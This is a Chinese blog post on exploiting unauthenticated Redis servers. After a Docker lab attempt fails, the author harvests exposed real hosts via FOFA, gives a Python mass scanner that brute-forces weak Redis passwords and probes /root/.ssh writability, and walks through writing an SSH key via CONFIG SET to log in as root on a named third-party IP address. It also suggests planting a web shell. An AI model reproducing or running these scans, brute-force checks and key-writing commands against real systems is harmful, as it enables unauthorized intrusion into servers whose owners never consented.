Docker环境复现利用Redis未授权访问漏洞 >> 批量扫描检测利用
关于Redis
Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI
漏洞概述:
Redis默认情况下,会绑定在0.0.0.0:6379,这样会将redis服务暴露在公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问redis以及读取redis的数据,攻击者在未授权访问redis的情况下可以利用redis的相关方法,进而成功在redis服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器
而为什么redis的作者不将默认情况下的未授权访问导致的不安全性问题修改掉,因为作者认为99.99%使用redis的场景都是在沙盒化的环境中,为了0.01%的可能性增加安全规则的同时也增加了复杂性,虽然这个问题并不是不能解决的,但是这在他的设计哲学中仍然是不划算的。
搭建docker漏洞环境
在docekrhub上搜索redis镜像
1 | docker search redis |
拉取镜像到本地
1 | docker pull redis |
查看下载好的镜像
运行之,并将容器的6379端口映射到主机的6379端口
1 | docker run -p 6379:6379 -d redis |
-p
将容器的6379端口映射到主机的6379端口。
-d
将容器后台运行。
因为攻击机是Windows,下载redis,并使用redis-cli.exe进行连接
1 | .\redis-cli.exe -h 49.235.230.115 |
连接成功
漏洞利用:
先进行信息搜集
1 | info |
查看数据库中的键值对
1 | keys * |
以及可以使用(慎用)该命令清空数据库
1 | flushall |
或者
1 | del key 删除键为key的数据 |
接着尝试写ssh-keygen公钥然后本地使用私钥登录服务器
设置redis的备份路径为/root/.ssh和保存文件名authorized_keys
1 | CONFIG SET dir /root/ . ssh |
出现错误
(error) ERR Changing directory: Permission denied
在网上查了资料之后,说出现该错误是因为redis没有使用root权限启动,但是当没有指定用户启动docker时,默认的用户就是root,同时进入该docker实例的bash,也可以看到当前用户是root,转了一圈也没找到解决的办法,有的博客说是redis版本的问题,替换redis3.0,redis5.0均无效,故直接劝退,放弃攻击该docker环境
等啥时候想明白这个问题了再更,也欢迎师傅们一起交流
使用FOFA寻找国外的暴露redis现实环境,给出FOFA语法
查找使用指定协议的IP
查找使用mysql的ip
protocol=mysql
查找使用redis的ip
protocol=redis
查找使用mssql的ip
protocol=mssql
查找使用oracle的ip
protocol=oracle
切换目标地区为爱尔兰
使用FOFA爬取脚本将所有目标都爬取下来并保存在txt中,爬取脚本是以前自己写的:
https://github.com/Cl0udG0d/Fofa-script
担心拉取速度过快被ban,所以采用了延时,师傅们如果觉得速度太慢了可以将代码里面的延时改低
先测试了一下,发现fofa的规则改了,重新改一下爬虫,更新github,然后开始愉快爬取。
爬取结束之后进行批量验证,这里的代码魔改自bypass老哥:https://www.cnblogs.com/xiaozi/p/7568272.html
源代码为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | #! /usr/bin/env python # _*_ coding:utf-8 _*_ import socket import sys PASSWORD_DIC = [ 'redis' , 'root' , 'oracle' , 'password' , 'p@aaw0rd' , 'abc123!' , '123456' , 'admin' ] def check(ip, port, timeout): try : socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int (port))) s.send( "INFO\r\n" ) result = s.recv( 1024 ) if "redis_version" in result: return u "未授权访问" elif "Authentication" in result: for pass_ in PASSWORD_DIC: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int (port))) s.send( "AUTH %s\r\n" % (pass_)) result = s.recv( 1024 ) if '+OK' in result: return u "存在弱口令,密码:%s" % (pass_) except Exception, e: pass if __name__ = = '__main__' : ip = sys.argv[ 1 ] port = sys.argv[ 2 ] print check(ip,port, timeout = 10 ) |
但是原脚本只能一个个测试,简单加强之:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | #! /usr/bin/env python # _*_ coding:utf-8 _*_ import socket import sys PASSWORD_DIC = [ 'redis' , 'root' , 'oracle' , 'password' , 'p@aaw0rd' , 'abc123!' , '123456' , 'admin' ] def check(ip, port, timeout): try : socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int (port))) s.send( "INFO\r\n" ) result = s.recv( 1024 ) if "redis_version" in result: print u "%s:%s未授权访问" % (ip,port) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int (port))) s.send( "config set dir /root/.ssh/\r\n" ) content = s.recv( 1024 ) print (content) if "OK" in content: print u "%s:%s .ssh目录存在且权限足够" % (ip,port) elif "error" in content: print u "%s:%s 无法写入" % (ip,port) elif "Authentication" in result: for pass_ in PASSWORD_DIC: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int (port))) s.send( "AUTH %s\r\n" % (pass_)) result = s.recv( 1024 ) if '+OK' in result: print u "%s:%s存在弱口令,密码:%s" % (ip,port,pass_) except Exception, e: print e pass if __name__ = = '__main__' : doc = open ( "hello_world.txt" , "r" ) lines = doc.readlines() for ip in lines: #print(type(ip)) print (ip.strip()) check(ip.strip(), 6379 ,timeout = 10 ) #print(type(ip)) doc.close() |
运行之
因为是国外的IP,就不进行打码了。
redis链接
尝试写ssh-keygen公钥登录服务器,本地生成公私钥后
1234567config
set
dir
/root/
.
ssh
/
config
set
dbfilename authorized_keys
set
x
"\n\n\n公钥内容\n\n\n"
save
可以看到这两个服务器有两个不同的报错,分别是:
(error) ERR Changing directory: Permission denied
以及
(error) ERR Changing directory: No such file or directory
第一个报错是我们之前docker搭建的时候遇到的,也就是未使用root权限启动redis,第二个报错是因为目标/root/.ssh目录不存在,不存在的原因是目标未使用过ssh密钥登录过服务器,只好对其他IP进行尝试
另外还可能出现的一个错误是:
(error) ERR unknown command ‘config’
当出现这个错误,代表redis服务端有做禁止config命令的配置
简单测试后找到一个存在漏洞的IP:
3.17.131.13
使用之前的命令:
1234567config
set
dir
/root/
.
ssh
/
config
set
dbfilename authorized_keys
set
x
"\n\n\n公钥内容\n\n\n"
save
在之前生成本地公私钥的目录下执行:
1 | ssh -i id_rsa root@3.17.131.13 |
服务器登录成功
另外在查资料的过程中,发现部分服务器报错
-ERR Changing directory: No such file or directory
的原因有可能不是linux服务器未使用密钥登录,而可能是目标为Windows服务器,肯定就没有 /root/.ssh
目录了,可以使用
config get dir
或者
info
等命令搜集目标信息,确认其操作系统进行进一步渗透
另外对于
(error) ERR Changing directory: Permission denied
错误,可以尝试在其WEB服务目录写入一句话木马从而getshell
参考链接:
__EOF__

本文链接:https://www.cnblogs.com/Cl0ud/p/13873085.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!